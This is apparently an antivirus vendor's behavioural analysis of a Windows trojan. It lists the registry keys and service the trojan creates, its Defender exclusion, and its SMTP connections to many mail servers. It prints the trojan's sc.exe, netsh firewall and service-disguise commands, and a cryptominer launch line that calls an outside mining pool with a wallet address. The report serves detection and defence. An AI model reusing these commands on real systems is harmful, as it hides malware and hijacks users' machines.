Trojan.Siggen18.45574

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\bunbfykv] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\bunbfykv] 'ImagePath' = '%WINDIR%\SysWOW64\bunbfykv\onroyehe.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\bunbfykv] 'ImagePath' = '%WINDIR%\SysWOW64\bunbfykv\onroyehe.exe'

Creates the following services

'bunbfykv' %WINDIR%\SysWOW64\bunbfykv\onroyehe.exe /d"<Full path to file>"
'bunbfykv' %WINDIR%\SysWOW64\bunbfykv\onroyehe.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\bunbfykv' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\onroyehe.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\onroyehe.exe to %WINDIR%\syswow64\bunbfykv\onroyehe.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx#######001.gslb.pphosted.com':25
'mx#######b02.gslb.pphosted.com':25
'ev###ote.com':443
'mx##.##stmailserver.com':25
'_d####.##cd3af42ca0.gelci.com':25
'ba#####.tapadito.com':80
'mx#######501.gslb.pphosted.com':25
'mx#######f01.gslb.pphosted.com':25
're####.komputrade.com':25
'mx##.###us-vadesecure.net':25
'ma######ward.wpmudev.host':25
'mx###.#nbound-mx.net':25
'mx#.#xcomet.com':25
'mt#.#1cn.com':25
'mx#.##hichina.com':25
'pr##########m.mail.protection.outlook.com':25
'mx######90d01.pphosted.com':25
'mx#.#harter.net':25
'mx######0ea01.pphosted.com':25
'mx#######d02.gslb.pphosted.com':25
'mx##.ionos.com':25
'sv###.myecon.net':25
'mx#######c01.gslb.pphosted.com':25
'mx#.####te.mail2world.com':25
'mx#.###pig-sinkhole.org':25
'ma##.#thellas.com':25
'ma##.###befluesterer.com':25
'ma##.#axmail.net':25
'ma##.###stonsmithphoto.com':25
'ma###.#ailinator.com':25
'we##.####.exch090.serverdata.net':25
'mx##.##a.mailcore.net':25
'mx##.#mig.gmx.net':25
'mx#.####.net.gslb.pphosted.com':25
'mx######bde01.pphosted.com':25
'mx#.##tsolmail.net':25
'mx.##a.untd.com':25
'fo########s-org.relay1g.spamh.com':25
'mx##.xnote.us':25
'mt##.##0.yahoodns.net':25
'ma##.outlok.com':25
'mx##.#pcmail.net':25
'gq#.#witch.tv':443
'mx#####.ppe-hosted.com':25
'dn#######stmx01.email.rr.com':25
'p.####om.ctmail.com':25
'sp###l.skcc.com':25
'pu######2.mail2world.com':25
'mx#.mail.ru':25
'pe###travel.com':25
'ma##.#ls-global.net':25
'ex####l.bigpond.com':25
'ei####.#x.a.cloudfilter.net':25
'sm##.##tontheweb.com':25
'cu#######-1.in.mailcontrol.com':25
'alt1.aspmx.l.google.com':25
'ra#########els.in.tmes.trendmicro.eu':25
'ma##.#ntiflux.org':25
'mx#.#aver.com':25
'co####.telconet.net':25
'mx#.##ailsrvr.com':25
'hg####.#s.2.0001.arsmtp.com':25
'mx###.m2bp.com':25
'yo####condlife.net':25
'mx#######b01.gslb.pphosted.com':25
'fa###ool.xyz':10060
'ma##.#-email.net':25
'mx#######003.gslb.pphosted.com':25
'pa####x.above.com':25
'ma###.#becompanies.com':25
'mx.##stpost.net':25
'17#.#13.115.158':481
'sv####lfheim.top':443
'ho#########.olc.protection.outlook.com':25
'ma###.gridhost.com':25
'mx######91d01.pphosted.com':25
'mx#######601.gslb.pphosted.com':25
'mx##.mb5p.com':25
'mx#######102.gslb.pphosted.com':25
'mx#######402.gslb.pphosted.com':25
'sp######er.stellarllc.net':25
'mx#######c03.gslb.pphosted.com':25
'mx#######602.gslb.pphosted.com':25
'ma##.#ailerhost.net':25
'wc#####.#et.1.0001.arsmtp.com':25
'su###########-com.mail.protection.outlook.com':25
'qf########ies.com.1.0001.arsmtp.com':25
'mx#######e01.gslb.pphosted.com':25
'ma##.#reenspot.fi':25
'alt2.aspmx.l.google.com':25
'mx#.#ate.com':25
'google.com':80
'17#.#13.115.157':417
'17#.#13.115.156':417
'80.#6.75.4':417
'17#.#13.115.155':417
'17#.#13.115.154':417
'17#.#13.115.153':417
'al######x-vip2.prodigy.net':25
'mx#.#eznam.cz':25
'ff######x-vip2.prodigy.net':25

TCP

HTTP GET requests

http://www.google.com/

HTTP POST requests

http://ba#####.tapadito.com/backups/lib.php

Other

'sv####lfheim.top':443
'aspmx.l.google.com':25
'mx######bde01.pphosted.com':25
'pr##########m.mail.protection.outlook.com':25
'yo####condlife.net':25
'mx#.##hichina.com':25
'mt#.#1cn.com':25
'mx#.#xcomet.com':25
'ma######ward.wpmudev.host':25
're####.komputrade.com':25
'ev###ote.com':443
'mx#.##tsolmail.net':25
'mx#.####te.mail2world.com':25
'p.####om.ctmail.com':25
'mx#####.ppe-hosted.com':25
'ma##.#thellas.com':25
'ma##.outlok.com':25
'mt##.##0.yahoodns.net':25
'gq#.#witch.tv':443
'sv###.myecon.net':25
'mx##.xnote.us':25
'fo########s-org.relay1g.spamh.com':25
'_d####.##cd3af42ca0.gelci.com':25
'sp###l.skcc.com':25
'ma###.gridhost.com':25
'mx##.##a.mailcore.net':25
'ma###.#ailinator.com':25
'ma##.###stonsmithphoto.com':25
'ma##.###befluesterer.com':25
'ma##.#ls-global.net':25
'pe###travel.com':25
'sp######er.stellarllc.net':25
'cu#######-1.in.mailcontrol.com':25
'17#.#13.115.158':481
'fa###ool.xyz':10060
'ma###.#becompanies.com':25
'pa####x.above.com':25
'mx.##stpost.net':25
'ma##.#-email.net':25
'mx#######b01.gslb.pphosted.com':25
'ho#########.olc.protection.outlook.com':25
'mx#.#aver.com':25
'ra#########els.in.tmes.trendmicro.eu':25
'ma##.#ntiflux.org':25
'alt1.aspmx.l.google.com':25
'sm##.##tontheweb.com':25
'alt2.aspmx.l.google.com':25
'wc#####.#et.1.0001.arsmtp.com':25
'mx#######601.gslb.pphosted.com':25
'al######x-vip2.prodigy.net':25
'mx###.m2bp.com':25
'17#.#13.115.154':417
'17#.#13.115.155':417
'17#.#13.115.156':417
'17#.#13.115.153':417
'17#.#13.115.157':417
'ma##.#reenspot.fi':25
'qf########ies.com.1.0001.arsmtp.com':25
'su###########-com.mail.protection.outlook.com':25
'mx#.#eznam.cz':25
'80.#6.75.4':417
'mx#.mail.ru':25
'hg####.#s.2.0001.arsmtp.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ba#####.tapadito.com
DNS ASK ge##i.com
DNS ASK _d####.##cd3af42ca0.gelci.com
DNS ASK th####emuscat.com
DNS ASK mx##.##stmailserver.com
DNS ASK ev###ote.com
DNS ASK ab##tt.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK 21##.com
DNS ASK sg##.com
DNS ASK ih##oc.com
DNS ASK ex#####or-travel.com
DNS ASK mx#.##tsolmail.net
DNS ASK hg###ail.com
DNS ASK mx###.#nbound-mx.net
DNS ASK ex##te.it
DNS ASK mx#.####te.mail2world.com
DNS ASK ma###world.com
DNS ASK pu######2.mail2world.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK cs#.com
DNS ASK in###matica.com
DNS ASK re####.komputrade.com
DNS ASK ch###ermi.net
DNS ASK mx#.#harter.net
DNS ASK na###roup.com
DNS ASK mx######90d01.pphosted.com
DNS ASK pr###plus.com
DNS ASK pr##########m.mail.protection.outlook.com
DNS ASK rf##hy.com
DNS ASK mx#.##hichina.com
DNS ASK th####ewproud.com
DNS ASK ho##ial.com
DNS ASK gt#.net
DNS ASK mt#.#1cn.com
DNS ASK mx#.#xcomet.com
DNS ASK my##on.net
DNS ASK sv###.myecon.net
DNS ASK th####chworks.net
DNS ASK ma######ward.wpmudev.host
DNS ASK ch#####iswoodworks.com
DNS ASK ea###link.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK mi###gov.com
DNS ASK th#####rmansarms.net
DNS ASK ev###ost.top
DNS ASK mx######0ea01.pphosted.com
DNS ASK p.####om.ctmail.com
DNS ASK mx#####.ppe-hosted.com
DNS ASK to####carmel.org
DNS ASK we##.####.exch090.serverdata.net
DNS ASK ci##as.com
DNS ASK ma###nator.com
DNS ASK ma###.#ailinator.com
DNS ASK pr#####smithphoto.com
DNS ASK ma##.###stonsmithphoto.com
DNS ASK to##rus.com
DNS ASK ho##il.com
DNS ASK we###volk.org
DNS ASK ma##.#axmail.net
DNS ASK ma##.###befluesterer.com
DNS ASK gt###las.com
DNS ASK ma##.#thellas.com
DNS ASK ou##oo.com
DNS ASK co##asj.com
DNS ASK mx#.###pig-sinkhole.org
DNS ASK ga##.com
DNS ASK hg##as.us
DNS ASK hg####.#s.2.0001.arsmtp.com
DNS ASK lu##ku.com
DNS ASK mx##.##a.mailcore.net
DNS ASK mx##.#mig.gmx.net
DNS ASK mx#.####.net.gslb.pphosted.com
DNS ASK on##k.com
DNS ASK gq#.#witch.tv
DNS ASK ca###surf.com
DNS ASK mx##.#pcmail.net
DNS ASK ou##ok.com
DNS ASK ma##.outlok.com
DNS ASK ta##et.com
DNS ASK ki###mail.com
DNS ASK fr###ier.com
DNS ASK ho###on.rr.com
DNS ASK fc####rgists.com
DNS ASK dn#######stmx01.email.rr.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK fo########s-org.relay1g.spamh.com
DNS ASK ne##ero.com
DNS ASK mx.##a.untd.com
DNS ASK sk##.com
DNS ASK sp###l.skcc.com
DNS ASK po##k.com
DNS ASK ma###.gridhost.com
DNS ASK oc##.net
DNS ASK xy###ail.com
DNS ASK mx##.xnote.us
DNS ASK fo###rhomes.org
DNS ASK mx#######d02.gslb.pphosted.com
DNS ASK fi##vcs.com
DNS ASK ij#.com
DNS ASK te###net.net
DNS ASK co####.telconet.net
DNS ASK an###lux.org
DNS ASK ma##.#ntiflux.org
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK ra###son.com
DNS ASK ra#########els.in.tmes.trendmicro.eu
DNS ASK me####alytics.com
DNS ASK be###outh.com
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK rr##.com
DNS ASK sm##.##tontheweb.com
DNS ASK ei##om.net
DNS ASK ei####.#x.a.cloudfilter.net
DNS ASK am#####ealthfoods.com
DNS ASK alt2.aspmx.l.google.com
DNS ASK ho###olar.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK ho##ail.com
DNS ASK mx#.##ailsrvr.com
DNS ASK ex####l.bigpond.com
DNS ASK bi##ond.com
DNS ASK sv####lfheim.top
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK cb####panies.com
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK ma###.#becompanies.com
DNS ASK we###ost.net
DNS ASK mx.##stpost.net
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK mx###.m2bp.com
DNS ASK qu##ook.com
DNS ASK sc###lyard.com
DNS ASK we###fargo.com
DNS ASK cr####nroseasia.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK ti##jo.com
DNS ASK ma##.#-email.net
DNS ASK fa###ool.xyz
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK yo####condlife.net
DNS ASK gm##.com
DNS ASK pa####x.above.com
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK zr##k.com
DNS ASK mx######91d01.pphosted.com
DNS ASK mx#######c03.gslb.pphosted.com
DNS ASK ma##.#ailerhost.net
DNS ASK gv##l.com
DNS ASK sp######er.stellarllc.net
DNS ASK hu##es.com
DNS ASK mx#######402.gslb.pphosted.com
DNS ASK he####saveus.org
DNS ASK al##.com
DNS ASK mx#######102.gslb.pphosted.com
DNS ASK hh##.com
DNS ASK on###nkpr.net
DNS ASK go##ail.com
DNS ASK dc##sa.com
DNS ASK mx#.mail.ru
DNS ASK th###mes.co.uk
DNS ASK gl###laginc.com
DNS ASK aspmx.l.google.com
DNS ASK th###rtford.com
DNS ASK mx######bde01.pphosted.com
DNS ASK ac####terprise.com
DNS ASK mx##.ionos.com
DNS ASK ma##.#ls-global.net
DNS ASK pe###travel.com
DNS ASK bk.ru
DNS ASK we####luesterer.com
DNS ASK am###tech.net
DNS ASK ci####chicago.org
DNS ASK bn.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK he####miller.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK be###outh.net
DNS ASK al######x-vip2.prodigy.net
DNS ASK jl##.org
DNS ASK google.com
DNS ASK na##.com
DNS ASK wc#####.#et.1.0001.arsmtp.com
DNS ASK mx#######602.gslb.pphosted.com
DNS ASK mx#.#ate.com
DNS ASK se##am.cz
DNS ASK mx#.#eznam.cz
DNS ASK au####hitects.com
DNS ASK ma##.#reenspot.fi
DNS ASK qf####ustries.com
DNS ASK qf########ies.com.1.0001.arsmtp.com
DNS ASK su####anortho.com
DNS ASK su###########-com.mail.protection.outlook.com
DNS ASK wc##net.net
DNS ASK mx##.mb5p.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK ff######x-vip2.prodigy.net

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\bunbfykv\onroyehe.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\bunbfykv\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\onroyehe.exe" %WINDIR%\SysWOW64\bunbfykv\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create bunbfykv binPath= "%WINDIR%\SysWOW64\bunbfykv\onroyehe.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description bunbfykv "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start bunbfykv' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\bunbfykv\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\onroyehe.exe" %WINDIR%\SysWOW64\bunbfykv\
'%WINDIR%\syswow64\sc.exe' create bunbfykv binPath= "%WINDIR%\SysWOW64\bunbfykv\onroyehe.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description bunbfykv "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start bunbfykv
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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